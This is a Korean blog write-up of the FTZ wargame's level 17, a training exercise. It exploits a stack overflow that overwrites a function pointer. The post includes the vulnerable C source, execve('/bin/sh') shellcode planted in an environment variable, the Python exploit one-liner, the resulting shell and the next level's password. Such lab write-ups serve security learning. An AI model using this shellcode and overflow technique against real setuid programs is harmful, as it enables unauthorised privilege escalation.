[FTZ] Level 17

Sisyphus·2022년 7월 15일

FTZ

목록 보기
27/30
[level17@ftz level17]$ cat hint

#include <stdio.h>
 
void printit() {
  printf("Hello there!\n");
}
 
main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}

cat 명령어로 hint를 출력해보니 전에 문제와 유사한 소스코드가 출력되었습니다. 하지만 shell() 함수가 빠져있어 전과 같은 방법으로는 풀 수 없습니다.

하지만 call 명령어의 동작을 생각해보면 해당 주소로 가서 거기에 있는 명령어를 실행시킵니다.
함수 포인터에 shellcode의 주소를 넣는 다면 shellcode가 있는 주소로 가서 쉘을 띄울거 같습니다.


먼저 환경변수를 세팅하고

[level17@ftz tmp]$ export Shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

주소를 출력해보면

[level17@ftz tmp]$ ./getenv 
shellcode: 0xbffffc21

익스플로잇 코드를 짜보면

NOP[40] + "\x21\xfc\xff\xbf"
(python -c 'print "\x90"*40+"\x21\xfc\xff\xbf"'; cat) | ./attackme

익스플로잇 코드를 실행시켜보면

[level17@ftz level17]$ (python -c 'print "\x90"*40+"\x21\xfc\xff\xbf"'; cat) | ./attackme

id
uid=3098(level18) gid=3097(level17) groups=3097(level17)

쉘이 떴습니다.


패스워드를 출력해보면

my-pass
TERM environment variable not set.

Level18 Password is "why did you do it".

0개의 댓글